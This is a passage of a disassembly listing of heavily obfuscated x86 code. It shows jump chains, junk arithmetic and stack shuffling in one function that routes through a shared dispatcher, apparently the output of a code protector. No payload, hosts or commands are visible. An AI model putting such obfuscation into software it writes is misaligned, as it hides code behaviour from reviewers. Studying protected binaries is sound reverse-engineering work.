2892A7Dh xor esi, 204A2CE7h add ebx, esi push [esp-3Ah+arg_30+2] pop esi jmp loc_591F81 ; --------------------------------------------------------------------------- loc_593DB5: ; CODE XREF: sub_580566+1CCD8j push 5393h mov [esp-36h+arg_2C+2], eax jmp loc_595C62 ; --------------------------------------------------------------------------- loc_593DC2: ; CODE XREF: sub_580566+1B2BAj add ebx, 4 add ebx, 4 jmp loc_59536D ; --------------------------------------------------------------------------- loc_593DD3: ; CODE XREF: sub_580566+17142j mov [esp-36h+arg_2C+2], ebx mov ebx, 0 push ecx mov ecx, 3E597F84h add ebx, ecx pop ecx sub esp, 4 mov [esp-32h+arg_28+2], eax mov eax, 1DE553DDh shl eax, 4 and eax, 171D7720h sub eax, 3DD87140h push edx mov edx, 1 sub eax, edx pop edx jmp loc_5984A3 ; --------------------------------------------------------------------------- loc_593E0D: ; CODE XREF: sub_580566+1192Dj inc edi xor edi, 54DD345Fh jmp loc_5A3720 ; --------------------------------------------------------------------------- loc_593E19: ; CODE XREF: sub_580566+17500j push ebp push ecx jmp loc_593246 ; --------------------------------------------------------------------------- loc_593E20: ; CODE XREF: sub_580566+1D9A5j pop esp pop [esp-4Ah+arg_40+2] mov esp, [esp-4Eh+arg_44+2] mul cl movzx cx, ah push eax push 1099h push esp pop [esp-42h+arg_38+2] add [esp-46h+arg_3C+2], 4 mov eax, [esp-46h+arg_3C+2] add esp, 4 push 4C3Fh mov [esp-46h+arg_3C+2], ecx push edi mov edi, 294A6029h add edi, 4B390908h shr edi, 2 dec edi not edi add edi, 0FFFFFFFFh not edi sub edi, 1D20DA48h mov ecx, edi mov edi, [esp-42h+arg_38+2] add esp, 4 add eax, ecx mov ecx, [esp-46h+arg_3C+2] push edx jmp loc_5A2A99 ; --------------------------------------------------------------------------- loc_593E7F: ; DATA XREF: sub_580566+1041Eo mov ax, word ptr [esp-42h+arg_38+2] push esi jmp loc_594274 ; --------------------------------------------------------------------------- loc_593E89: ; CODE XREF: sub_580566+1FD5Fj mov edx, [esp-3Eh+arg_34+2] add esp, 4 push 1D9Eh mov [esp-3Eh+arg_34+2], ecx jmp loc_59667F ; --------------------------------------------------------------------------- loc_593E9F: ; CODE XREF: sub_580566+1A03Cj add esp, 4 add edi, 328D7068h push esi mov esi, 331E7588h sub edi, 254117C5h sub edi, esi add edi, 254117C5h pop esi jmp loc_59D942 ; --------------------------------------------------------------------------- loc_593EC2: ; CODE XREF: sub_580566+1B022j pop edi pop ebp add edi, 0FFFFFFFFh dec edi shr edi, 3 push 61ECh mov [esp-46h+arg_3C+2], esi mov esi, 65C02704h xor edi, esi pop esi push edx mov edx, 5C742FF1h neg edx sub edx, 52E73D08h jmp loc_598E95 ; --------------------------------------------------------------------------- loc_593EF1: ; CODE XREF: sub_580566+2083Cj mov eax, 46D70C1Fh sub ecx, eax pop eax sub ecx, 6CA078Dh jmp loc_592471 ; --------------------------------------------------------------------------- loc_593F04: ; CODE XREF: sub_580566+1D456j not eax xor eax, 4242A49Fh xor ebp, eax pop eax sub edx, 1FAB7213h sub edx, ebp add edx, 1FAB7213h jmp loc_59BD96 ; --------------------------------------------------------------------------- loc_593F21: ; CODE XREF: sub_580566+114D0j mov edx, esp push edi push ecx push eax mov eax, 21BE2E2Dh mov ecx, eax jmp loc_5A196D ; --------------------------------------------------------------------------- loc_593F32: ; CODE XREF: sub_580566+15616j mov fs:[edx], ax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_593F3B: ; CODE XREF: sub_580566+1DD6Ej push edi mov edi, 1C632907h inc edi xor edi, 46BB6F93h sub edi, 5AD84697h add ebx, edi pop edi push ebx jmp loc_5960EB ; --------------------------------------------------------------------------- loc_593F57: ; CODE XREF: sub_580566+15AACj shr eax, 6 jmp loc_59DC94 ; --------------------------------------------------------------------------- loc_593F5F: ; CODE XREF: sub_580566+1884Aj mov di, word ptr [esp-1Eh+arg_16] push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp-1Ah+arg_12] jmp loc_5987BC ; --------------------------------------------------------------------------- loc_593F76: ; CODE XREF: sub_580566+23E3Dj add esp, 4 mov edi, [esp-1Eh+arg_16] add esp, 4 push ebp mov ebp, esp jmp loc_5A494F ; --------------------------------------------------------------------------- loc_593F8A: ; CODE XREF: sub_580566+13501j push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp-52h+arg_48+2] mov esp, [esp-52h+arg_48+2] mov [esp-52h+arg_48+2], edx push small 65AFh mov word ptr [esp-50h+arg_48], cx push 562Dh mov [esp-4Ch+arg_44], ebx mov bh, 0F6h mov cl, 0CEh xor cl, bh pop ebx mov dh, cl pop cx add al, dh push [esp-52h+arg_48+2] jmp loc_5A53CA ; --------------------------------------------------------------------------- loc_593FC6: ; CODE XREF: sub_580566+24395j mov [esp-4Eh+arg_44+2], eax mov al, dl push ecx mov cl, al mov [ebx], cl pop ecx pop eax mov ebx, [esp-52h+arg_48+2] add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_593FDD: ; CODE XREF: sub_580566+1BD39j add ecx, edi add ecx, 3EB10208h push ebp mov ebp, 495F0BA4h neg ebp sub ebp, 74EB5485h jmp loc_593436 ; --------------------------------------------------------------------------- loc_593FF8: ; CODE XREF: sub_580566+12C34j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-42h+arg_38+2] pop esp jmp loc_5A40D3 ; --------------------------------------------------------------------------- loc_59400F: ; CODE XREF: sub_580566+2049Fj neg eax jmp loc_595D98 ; --------------------------------------------------------------------------- loc_594016: ; CODE XREF: sub_580566+21C56j mov [esp-46h+arg_3C+2], ecx push 38AA57EFh push [esp-42h+arg_38+2] pop ecx add esp, 4 push edi mov edi, 62F4871h or ecx, edi pop edi add ecx, 28020828h mov ebp, ecx mov ecx, [esp-46h+arg_3C+2] add esp, 4 mov dword ptr [edx+38h], 66B16827h push ebx push 5BF9h mov [esp-42h+arg_38+2], esi mov esi, 74476A06h mov ebx, 74476A3Eh sub ebx, 28810E27h jmp loc_59EAC8 ; --------------------------------------------------------------------------- loc_594067: ; CODE XREF: sub_580566+18BA6j xchg eax, esi dec esi dec esi shr esi, 5 push ecx jmp loc_59614A ; --------------------------------------------------------------------------- loc_594073: ; CODE XREF: sub_580566+1B036j pop eax sub esp, 4 mov [esp-3Eh+arg_34+2], eax push ebp jmp loc_597E5C ; --------------------------------------------------------------------------- loc_594080: ; CODE XREF: sub_580566+1C18Fj xor word ptr [esp-3Ah+arg_30+2], di xor di, word ptr [esp-3Ah+arg_30+2] xor word ptr [esp-3Ah+arg_30+2], di jmp loc_59123F ; --------------------------------------------------------------------------- loc_594091: ; CODE XREF: sub_580566+17091j add esp, 4 add esi, 3444408h mov edi, [esp-3Eh+arg_34+2] add esp, 4 sub esp, 4 mov [esp-3Eh+arg_34+2], eax push edx mov edx, 327504EEh sub edx, 327504ECh jmp loc_5A2434 ; --------------------------------------------------------------------------- loc_5940BD: ; CODE XREF: sub_580566+1D976j add edx, 4 xchg edx, [esp-3Ah+arg_30+2] mov esp, [esp-3Ah+arg_30+2] or edx, eax shl edx, 1 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 push 464Bh jmp loc_594D5D ; --------------------------------------------------------------------------- loc_5940E0: ; CODE XREF: sub_580566+12C93j pop esp pop [esp-46h+arg_3C+2] push 2EC7h mov [esp-46h+arg_3C+2], edx xchg ebx, [esp-46h+arg_3C+2] not ebx push ebx push [esp-42h+arg_3C+2] push [esp-3Eh+arg_34+2] pop ebx push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-3Ah+arg_30+2] jmp loc_59EE4C ; --------------------------------------------------------------------------- loc_59410E: ; CODE XREF: sub_580566+171D7j sub eax, 4 jmp loc_59828F ; --------------------------------------------------------------------------- loc_594118: ; CODE XREF: sub_580566+20D65j sub ebx, 0FE1CD1h add ebx, 766F3199h add ebx, 3F076C88h pop ebp xchg ebx, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] xchg esi, [esp-3Eh+arg_34+2] pop esp shl word ptr [esp-42h+arg_38+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59413F: ; CODE XREF: sub_580566+222EDj mov ebp, 73051BB1h jmp loc_59794A ; --------------------------------------------------------------------------- loc_594149: ; CODE XREF: sub_580566+135CFj push edi push esp pop edi push edx push ebx push ebp jmp loc_5938CC ; --------------------------------------------------------------------------- loc_594154: ; CODE XREF: sub_580566+1CF04j add esp, 4 xchg edx, [esp-20h+arg_16+2] mov esp, [esp-20h+arg_16+2] imul ecx push 10D6h jmp loc_591BA9 ; --------------------------------------------------------------------------- loc_59416C: ; CODE XREF: sub_580566+1D1DAj pop ecx jmp loc_594587 ; --------------------------------------------------------------------------- loc_594172: ; CODE XREF: sub_580566+1A05Ej mov eax, 1 mov edx, eax push [esp-20h+arg_16+2] mov eax, [esp-1Ch+arg_12+2] push 4EDBh mov [esp-18h+arg_E+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-18h+arg_E+2] jmp loc_597660 ; --------------------------------------------------------------------------- loc_59419A: ; CODE XREF: sub_580566+25135j xor esi, [esp-18h+arg_E+2] jmp loc_59EC9F ; --------------------------------------------------------------------------- loc_5941A2: ; CODE XREF: sub_580566+1BAC0j inc dh or dh, 0C1h add dh, 0BFh mov bl, dh pop edx add bl, 0D2h xor bl, 5Bh sub esp, 4 mov [esp-18h+arg_E+2], ecx push eax jmp loc_5A03D2 ; --------------------------------------------------------------------------- loc_5941BF: ; CODE XREF: sub_580566+18B3Dj xor ebx, [esp-14h+arg_A+2] pop esp mov edi, [esp-18h+arg_E+2] add esp, 4 sub esp, 4 mov [esp-18h+arg_E+2], ebx push 2B542C9Bh jmp loc_59C06D ; --------------------------------------------------------------------------- loc_5941DC: ; CODE XREF: sub_580566+171F2j xchg eax, [esp-14h+arg_A+2] mov esp, [esp-14h+arg_A+2] mov edx, [esp-14h+arg_A+2] add esp, 4 jmp loc_5A378B ; --------------------------------------------------------------------------- loc_5941F0: ; CODE XREF: sub_580566+16592j xchg eax, [esp-18h+arg_E+2] mov esp, [esp-18h+arg_E+2] add eax, 58CC198Ch push 21D4h mov [esp-14h+arg_A+2], esi push 200h jmp loc_5A2AA8 ; --------------------------------------------------------------------------- loc_59420D: ; CODE XREF: sub_580566+1212Dj and eax, 4A076ED1h xor eax, 15F32A63h push ecx mov ecx, 49927F87h inc ecx xor ecx, 3E7E17D0h dec ecx add ecx, 6B556D57h push eax mov eax, 28BF0534h xor ecx, eax pop eax sub ecx, 0AC168251h sub edx, ecx pop ecx sub edx, eax jmp loc_59EE9E ; --------------------------------------------------------------------------- loc_594244: ; CODE XREF: sub_580566+2269Bj sub edi, 334A6A5Eh pop esi push 4BD8h mov [esp-52h+arg_48+2], ebx mov ebx, 32845664h dec ebx not ebx jmp loc_59AD6E ; --------------------------------------------------------------------------- loc_594260: ; CODE XREF: sub_580566+12A64j pop esp add ecx, edx push esi mov esi, 35FE0D47h or esi, 32549Bh jmp loc_59FDA1 ; --------------------------------------------------------------------------- loc_594274: ; CODE XREF: sub_580566+1391Ej push esp pop esi sub esp, 4 mov [esp-3Ah+arg_30+2], edi jmp loc_593AFD ; --------------------------------------------------------------------------- loc_594284: ; CODE XREF: sub_580566+16749j sub esi, 4 xchg esi, [esp-3Ah+arg_30+2] pop esp mov [esp-3Eh+arg_34+2], esi jmp loc_59FF7B ; --------------------------------------------------------------------------- loc_594293: ; CODE XREF: sub_580566+2124Dj add ebp, esi add ebp, 4F1812ABh mov esi, [esp-3Eh+arg_34+2] add esp, 4 xchg ebp, [esp-42h+arg_38+2] mov esp, [esp-42h+arg_38+2] mov cx, word ptr [esp-42h+arg_38+2] push 37Fh mov [esp-3Eh+arg_34+2], edi push 2615h mov [esp-3Ah+arg_30+2], esp push 5B3Eh mov [esp-36h+arg_2C+2], eax mov eax, 4 add [esp-36h+arg_30+2], 19B25850h push 0CDh jmp loc_599E10 ; --------------------------------------------------------------------------- loc_5942DA: ; CODE XREF: sub_580566+17493j push 3BA1h mov [esp-2Eh+arg_24+2], ecx jmp loc_595DEE ; --------------------------------------------------------------------------- loc_5942E7: ; CODE XREF: sub_580566+1EEDFj add esp, 4 xor ecx, 0F1380703h sub ebp, 161D1ACDh add ebp, 6B3A2DE5h sub ebp, 756B0C27h add ebp, ecx add ebp, 756B0C27h jmp loc_59AF38 ; --------------------------------------------------------------------------- loc_59430F: ; CODE XREF: sub_580566+1671Fj push ecx mov ecx, 4 jmp loc_59E591 ; --------------------------------------------------------------------------- loc_59431A: ; CODE XREF: sub_580566+2462Dj add esp, 4 jmp loc_5A1C3E ; --------------------------------------------------------------------------- loc_594325: ; CODE XREF: sub_580566+22B8Cj add dl, bh pop ebx push ax mov ah, 1 sub dl, ah jmp loc_594CF4 ; --------------------------------------------------------------------------- loc_594333: ; CODE XREF: sub_580566+20C87j shl bh, 1 jmp loc_5980B1 ; --------------------------------------------------------------------------- loc_59433A: ; CODE XREF: sub_580566+1A30Aj add esp, 4 mov [edi+eax*4+1], bl jmp loc_59D0D0 ; --------------------------------------------------------------------------- loc_594346: ; CODE XREF: sub_580566+1A27Aj push edi mov edi, esp add edi, 4 push esi mov esi, 4 jmp loc_59A4FB ; --------------------------------------------------------------------------- loc_59435A: ; CODE XREF: sub_580566+152D6j add ebp, 5D2F4570h pop eax xchg ebp, [esp-34h+arg_2C] jmp loc_591556 ; --------------------------------------------------------------------------- loc_594369: ; CODE XREF: sub_580566+158E4j xor byte ptr [esp-34h+arg_2C], al pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_594372: ; CODE XREF: sub_580566+1711Dj push 3D68h mov [esp-2Ch+arg_24], ebp push 44274868h jmp loc_59D840 ; --------------------------------------------------------------------------- loc_594384: ; CODE XREF: sub_580566+133DEj mov cl, 4Fh mov dl, 7Eh add dl, cl pop ecx jmp loc_593A00 ; --------------------------------------------------------------------------- loc_594390: ; CODE XREF: sub_580566+22DDBj pop esp push ebx push edi jmp loc_5971C0 ; --------------------------------------------------------------------------- loc_594398: ; CODE XREF: sub_580566+19F5Ej push [esp-28h+arg_20] pop esi jmp loc_5914CE ; --------------------------------------------------------------------------- loc_5943A1: ; CODE XREF: sub_580566+1D0A5j push esp pop edi jmp loc_599842 ; --------------------------------------------------------------------------- loc_5943A8: ; CODE XREF: sub_580566+14EC5j mov ebp, 36746C2Ah jmp loc_59C8B2 ; --------------------------------------------------------------------------- loc_5943B2: ; CODE XREF: sub_580566+1A590j push [esp-28h+arg_20] jmp loc_5A1827 ; --------------------------------------------------------------------------- loc_5943BA: ; CODE XREF: sub_580566+19156j mov ebx, [esp-24h+arg_1A+2] add esp, 4 jmp loc_599C06 ; --------------------------------------------------------------------------- loc_5943C5: ; CODE XREF: sub_580566+13495j pop edi xchg edx, [esp-2Ch+arg_24] mov esp, [esp-2Ch+arg_24] push 230Dh mov [esp-28h+arg_20], ebp push 451Dh jmp loc_5A5BDA ; --------------------------------------------------------------------------- loc_5943DE: ; CODE XREF: sub_580566+1E7BEj sub bx, 6AD0h jmp loc_598EE2 ; --------------------------------------------------------------------------- loc_5943E8: ; CODE XREF: sub_580566+19966j add ebp, ecx pop ecx add ebp, 0F6E0F5DCh add edx, ebp pop ebp sub esp, 4 mov [esp-28h+arg_20], ebx mov ebx, 4 add edx, 57C863E5h add edx, ebx sub edx, 57C863E5h pop ebx xchg edx, [esp-2Ch+arg_24] pop esp add ebx, 4 jmp loc_599B49 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-30h+arg_28] push 0B8Ch mov [esp-2Ch+arg_24], ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp-28h+arg_20], esi jmp loc_59C6D9 ; --------------------------------------------------------------------------- loc_59443F: ; CODE XREF: sub_580566+1E933j pop ecx sub ebx, 4 jmp loc_59928B ; --------------------------------------------------------------------------- loc_59444B: ; CODE XREF: sub_580566+12234j and edx, eax pop eax sub edx, 1 jmp loc_5920F4 ; --------------------------------------------------------------------------- loc_594456: ; CODE XREF: sub_580566+1FBDFj mov esp, [esp-28h+arg_20] imul ecx, eax push ecx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_594463: ; CODE XREF: sub_580566+1067Bj mov esi, 7666704Fh sub esi, 57EB4CB0h mov ebx, esi jmp loc_5A357F ; --------------------------------------------------------------------------- loc_594475: ; CODE XREF: sub_580566+1D2A8j mov [esp-4Eh+arg_44+2], edx mov edx, 32361F6Bh xor edx, 55537712h add edx, 0D30B9Eh shl edx, 3 neg edx push edi jmp loc_594EA0 ; --------------------------------------------------------------------------- push 4BEDh mov [esp-46h+arg_3C+2], eax push ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_59A5AD ; --------------------------------------------------------------------------- loc_5944B1: ; CODE XREF: sub_580566+20E7Bj not ebx jmp loc_59D55E ; --------------------------------------------------------------------------- loc_5944B8: ; CODE XREF: sub_580566+17C8Aj pop ecx add ecx, 4 jmp loc_595E6D ; --------------------------------------------------------------------------- loc_5944C4: ; CODE XREF: sub_580566+212C4j pop ebp push esi mov esi, 4 add ebp, esi pop esi push ecx jmp loc_597517 ; --------------------------------------------------------------------------- loc_5944D4: ; CODE XREF: sub_580566+16671j mov ebp, 61DD0E7Eh xor eax, ebp pop ebp sub ecx, eax pop eax push 21D3h mov [esp-46h+arg_3C+2], edi jmp loc_59A57C ; --------------------------------------------------------------------------- loc_5944EC: ; CODE XREF: sub_580566+19C0Fj push 34D52E64h pop ebx add ebx, 0DFEE4C34h push eax mov eax, 30940A7Bh jmp loc_598C93 ; --------------------------------------------------------------------------- loc_594503: ; CODE XREF: sub_580566+198B2j add [esp-42h+arg_40+2], edi mov edi, [esp-42h+arg_38+2] push eax mov eax, esp add eax, 4 add eax, 4 push eax push [esp-3Ah+arg_34+2] pop eax pop [esp-3Ah+arg_30+2] jmp loc_5A4A48 ; --------------------------------------------------------------------------- loc_594523: ; CODE XREF: sub_580566+1ADDEj add esp, 4 add esp, 4 and eax, ebx pop ebx shr eax, 0Eh jmp loc_599F70 ; --------------------------------------------------------------------------- loc_594534: ; DATA XREF: sub_580566+1042Eo push [esp-4Ah+arg_40+2] push [esp-46h+arg_3C+2] mov eax, [esp-42h+arg_38+2] push ebx jmp loc_59E271 ; --------------------------------------------------------------------------- loc_594543: ; CODE XREF: sub_580566+1969Bj add esi, ecx jmp loc_59CB89 ; --------------------------------------------------------------------------- loc_59454A: ; CODE XREF: sub_580566+23829j pop eax pop [esp-42h+arg_38+2] push [esp-46h+arg_3C+2] push [esp-42h+arg_38+2] pop edx jmp loc_59DE81 ; --------------------------------------------------------------------------- loc_59455A: ; CODE XREF: sub_580566+17C1Aj mov esp, [esp-42h+arg_38+2] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_594562: ; CODE XREF: sub_580566+115D7j add dl, 1 shl dl, 1 jmp loc_591546 ; --------------------------------------------------------------------------- loc_59456C: ; CODE XREF: sub_580566+20776j mov [esp-40h+arg_38], ebx jmp loc_5A4EBB ; --------------------------------------------------------------------------- loc_594574: ; CODE XREF: sub_580566+1F991j push edx mov dh, 0EBh sub dh, 83h add al, dh jmp loc_59D2E8 ; --------------------------------------------------------------------------- loc_594581: ; CODE XREF: sub_580566+231A0j pop ecx jmp loc_5A20B9 ; --------------------------------------------------------------------------- loc_594587: ; CODE XREF: sub_580566+13C07j xor bl, al movzx eax, al jmp loc_59F9C2 ; --------------------------------------------------------------------------- loc_594591: ; CODE XREF: sub_580566+21675j add ebp, 4 add ebp, 4 xchg ebp, [esp-20h+arg_16+2] jmp loc_5977F6 ; --------------------------------------------------------------------------- loc_5945A2: ; CODE XREF: sub_580566+210AAj add esi, 4 jmp loc_5914FC ; --------------------------------------------------------------------------- loc_5945AD: ; CODE XREF: sub_580566+2567Cj pop esi xor esi, 769F07AAh not esi add esi, 756076FFh jmp loc_5A019A ; --------------------------------------------------------------------------- loc_5945C1: ; CODE XREF: sub_580566+14561j neg bh shl bh, 2 shr bh, 1 sub bh, 0D9h add al, 0CFh sub al, bh jmp loc_5A2081 ; --------------------------------------------------------------------------- loc_5945D4: ; CODE XREF: sub_580566+1782Bj push ecx jmp loc_591A48 ; --------------------------------------------------------------------------- loc_5945DA: ; CODE XREF: sub_580566+1EBC1j push eax mov eax, 7FDF2883h jmp loc_594CBE ; --------------------------------------------------------------------------- loc_5945E5: ; CODE XREF: sub_580566+16556j not esi neg esi xor esi, 3C63E36h sub ebx, esi jmp loc_595A4B ; --------------------------------------------------------------------------- loc_5945F6: ; CODE XREF: sub_580566+1CA71j mov [esp-1Ch+arg_12+2], ebx add [esp-1Ch+arg_12+2], 7EA57992h mov edi, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_5A58C6 ; --------------------------------------------------------------------------- loc_59460B: ; CODE XREF: sub_580566+1B8A3j add ebx, esi jmp loc_59DF78 ; --------------------------------------------------------------------------- lodsb push edx mov dh, 9Ch neg dh shr dh, 1 push small 70CDh mov word ptr [esp-1Ah+arg_12], cx push ebx mov bl, 1Bh mov ch, bl jmp loc_598110 ; --------------------------------------------------------------------------- loc_59462C: ; CODE XREF: sub_580566+119E7j xor [esp-4Ah+arg_40+2], eax xchg eax, edx jmp loc_597EB7 ; --------------------------------------------------------------------------- loc_594635: ; CODE XREF: sub_580566+1459Bj mov ebp, 6C6658E6h shr ebp, 6 shr ebp, 7 jmp loc_5977B8 ; --------------------------------------------------------------------------- loc_594645: ; CODE XREF: sub_580566+1FEF8j xor [esp-4Ah+arg_40+2], edi xor edi, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_594653: ; CODE XREF: sub_580566+2558Cj sub eax, 0F9D495F4h add esi, eax pop eax sub ebp, 31EA1322h add ebp, esi add ebp, 31EA1322h pop esi push 1741h mov [esp-4Eh+arg_44+2], esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5932BA ; --------------------------------------------------------------------------- loc_594685: ; CODE XREF: sub_580566+166EEj push esp pop edx jmp loc_59720B ; --------------------------------------------------------------------------- loc_59468C: ; CODE XREF: sub_580566+22EA3j sub esp, 4 mov [esp-4Ah+arg_40+2], esi sub esp, 4 push esp jmp loc_5982A4 ; --------------------------------------------------------------------------- loc_5946A1: ; CODE XREF: sub_580566+1E901j add esi, 4 sub esi, 4 jmp loc_5973D5 ; --------------------------------------------------------------------------- loc_5946B2: ; CODE XREF: sub_580566+143B5j xor edx, 649123C8h mov ebp, [esp-42h+arg_38+2] jmp loc_595852 ; --------------------------------------------------------------------------- loc_5946C0: ; CODE XREF: sub_580566+1F040j sub [esp-42h+arg_3C+2], 1FF568CBh add [esp-42h+arg_3C+2], edx add [esp-42h+arg_3C+2], 1FF568CBh sub [esp-42h+arg_3C+2], 1760DE9h add [esp-42h+arg_3C+2], 48906E4Ah pop edx add [esp-46h+arg_3C+2], 7E1E16E7h push 6C6Ch mov [esp-42h+arg_38+2], esi mov esi, 4F912CFFh neg esi jmp loc_59C338 ; --------------------------------------------------------------------------- loc_594700: ; CODE XREF: sub_580566+18809j sub ah, 77h sub ah, 0BBh add ah, 1Fh and dl, ah pop eax add dl, 77h jmp loc_5A1334 ; --------------------------------------------------------------------------- loc_594714: ; CODE XREF: sub_580566+21760j mov esp, [esp-46h+arg_3C+2] jmp loc_5A46A2 ; --------------------------------------------------------------------------- loc_59471C: ; CODE XREF: sub_580566+1FE9Fj dec esi shr esi, 1 neg esi push ebp mov ebp, 4A5917EAh neg ebp shl ebp, 1 dec ebp add ebp, 71A767C5h add ebp, 42EAE2C7h add esi, ebp pop ebp add eax, esi jmp loc_59865F ; --------------------------------------------------------------------------- loc_594742: ; CODE XREF: sub_580566+14F7Dj add edi, edx sub edi, 2C4A654Ch jmp loc_5A5406 ; --------------------------------------------------------------------------- loc_59474F: ; CODE XREF: sub_580566+1E56Fj mov edi, 4 add eax, edi pop edi xor eax, [esp-4Ah+arg_40+2] xor [esp-4Ah+arg_40+2], eax xor eax, [esp-4Ah+arg_40+2] pop esp jmp loc_595343 ; --------------------------------------------------------------------------- loc_594766: ; CODE XREF: sub_580566+11EE8j add ebx, 5B4847D8h movzx ax, byte ptr [eax] push 428Ah mov [esp-2Ah+arg_20+2], ebp push 6A33h mov [esp+0], esp push edi mov edi, 4 add [esp+4], edi pop edi mov ebp, [esp+0] add esp, 4 push 4F01h mov [esp+0], ebx push edi mov edi, 4 mov ebx, edi pop edi add ebp, 0CB37EA6h add ebp, ebx sub ebp, 0CB37EA6h mov ebx, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], esi push edi mov edi, 7778115Bh jmp loc_599617 ; --------------------------------------------------------------------------- loc_5947CA: ; CODE XREF: sub_580566+21605j push ebp mov ebp, 6F973F6Ch add ebp, 16E019D5h sub ebp, 84F14A76h xor eax, ebp pop ebp push [esp-22h+arg_1A] push [esp-1Eh+arg_16] jmp loc_59F395 ; --------------------------------------------------------------------------- loc_5947EA: ; CODE XREF: sub_580566+179CAj xor ebp, [esp-1Ah+arg_12] mov esp, [esp-1Ah+arg_12] mov word ptr [esp-1Ah+arg_12], ax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5947F9: ; CODE XREF: sub_580566+10BB0j push esi sub esp, 4 mov [esp-34h+arg_2C], ecx push esp jmp loc_5A564E ; --------------------------------------------------------------------------- loc_594809: ; CODE XREF: sub_580566+196D0j push ecx mov ecx, 4 mov esi, ecx jmp loc_592906 ; --------------------------------------------------------------------------- loc_594816: ; CODE XREF: sub_580566+18A2Aj mov edx, 4A3A762Eh mov eax, edx pop edx jmp loc_5A51F4 ; --------------------------------------------------------------------------- loc_594823: ; CODE XREF: sub_580566+24FD6j sub ebp, 81A5D50h add ebp, ebx add ebp, 81A5D50h add ebp, 2ECB123Ch pop ebx push edx mov edx, 4 sub ebp, edx pop edx xor ebp, [esp-34h+arg_2C] jmp loc_59BC94 ; --------------------------------------------------------------------------- loc_594849: ; CODE XREF: sub_580566+1B472j xor esi, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], esi push 2ADDh mov [esp-34h+arg_2C], edi push 39EB054Dh push [esp-30h+arg_28] pop edi add esp, 4 push 4DD5h mov [esp-30h+arg_28], ebp push 321Ch mov [esp-2Ch+arg_24], ebx jmp loc_5961FB ; --------------------------------------------------------------------------- loc_594879: ; CODE XREF: sub_580566+1C5C1j push edi mov edi, 69A90DCDh shr edi, 1 sub edi, 772F052Fh add edi, 65D05E5Ah xor edi, 0A64FF36h sub ecx, edi pop edi pop edi add edi, ecx pop ecx pop ebx xchg edi, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] sub esp, 4 mov [esp-34h+arg_2C], edi mov edi, esp jmp loc_59AC61 ; --------------------------------------------------------------------------- loc_5948B1: ; CODE XREF: sub_580566+22ABCj sub esi, edx push ebx mov ebx, 375F06A3h add esi, ebx pop ebx pop edx sub esp, 4 mov [esp-34h+arg_2C], esi jmp loc_5A491A ; --------------------------------------------------------------------------- loc_5948CB: ; CODE XREF: sub_580566+2328Dj neg ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-30h+arg_28] pop esp mov [esp-34h+arg_2C], eax mov eax, 71AB7BEEh neg eax add eax, 1711EE2h sub eax, 21472459h xor eax, 0D28F972Dh sub ecx, eax pop eax mov edi, ecx jmp loc_5A267F ; --------------------------------------------------------------------------- loc_594903: ; CODE XREF: sub_580566+22812j add ebp, 4 push ebx mov ebx, 60802BABh jmp loc_597F18 ; --------------------------------------------------------------------------- loc_594914: ; CODE XREF: sub_580566+1CB7Ej pop esi xor [esp-38h+arg_34], eax pop eax pop edx jmp loc_5946B2 ; --------------------------------------------------------------------------- loc_594920: ; CODE XREF: sub_580566+1D53Bj mov [esp-40h+arg_38], eax mov eax, 1 and ecx, eax jmp loc_5A5A94 ; --------------------------------------------------------------------------- loc_59492F: ; CODE XREF: sub_580566+1C5FBj xor eax, 213FFF6Ah add edi, eax pop eax xchg edi, [esp-44h+arg_3C] pop esp or eax, eax jnz loc_5A15E6 sub esp, 4 mov [esp-44h+arg_3C], eax mov eax, 55F61284h mov edx, 210F384Fh xor edx, eax pop eax sub esp, 4 mov [esp-44h+arg_3C], edi mov edi, 4CF13745h xchg esi, edi dec esi xchg esi, edi sub edi, 0B76C301h jmp loc_597595 ; --------------------------------------------------------------------------- loc_594971: ; CODE XREF: sub_580566+17034j add esp, 4 jmp loc_590AD4 ; --------------------------------------------------------------------------- loc_59497C: ; CODE XREF: sub_580566+117E2j push eax mov eax, 4 jmp loc_59731A ; --------------------------------------------------------------------------- loc_594987: ; CODE XREF: sub_580566+22E5Aj mov ecx, 4 add [esp-40h+arg_3C], ecx pop ecx pop edx add edx, 4 push 2316h mov [esp-44h+arg_3C], ecx mov ecx, 4 jmp loc_59B86B ; --------------------------------------------------------------------------- loc_5949AA: ; CODE XREF: sub_580566+23FC3j inc ebx jmp loc_5A3DF1 ; --------------------------------------------------------------------------- loc_5949B0: ; CODE XREF: sub_580566+1D8B8j shl [esp-44h+arg_3C], cl jmp loc_595C30 ; --------------------------------------------------------------------------- loc_5949B8: ; CODE XREF: sub_580566+20814j pop ebx xchg eax, [esp-48h+arg_40] pop esp jmp loc_590E43 ; --------------------------------------------------------------------------- loc_5949C2: ; CODE XREF: sub_580566+218EEj pop ebp push ebx jmp loc_5A552D ; --------------------------------------------------------------------------- loc_5949C9: ; CODE XREF: sub_580566+18AD1j mov ebx, 2EDA37B7h push 0F15h mov [esp-48h+arg_40], edi mov edi, 1F437523h and edi, 135B18E6h sub edi, 0BE00C75h dec edi push 6F29h mov [esp-44h+arg_3C], ebp mov ebp, 321B0A0Bh sub ebp, 19E25125h add ebp, 47081745h jmp 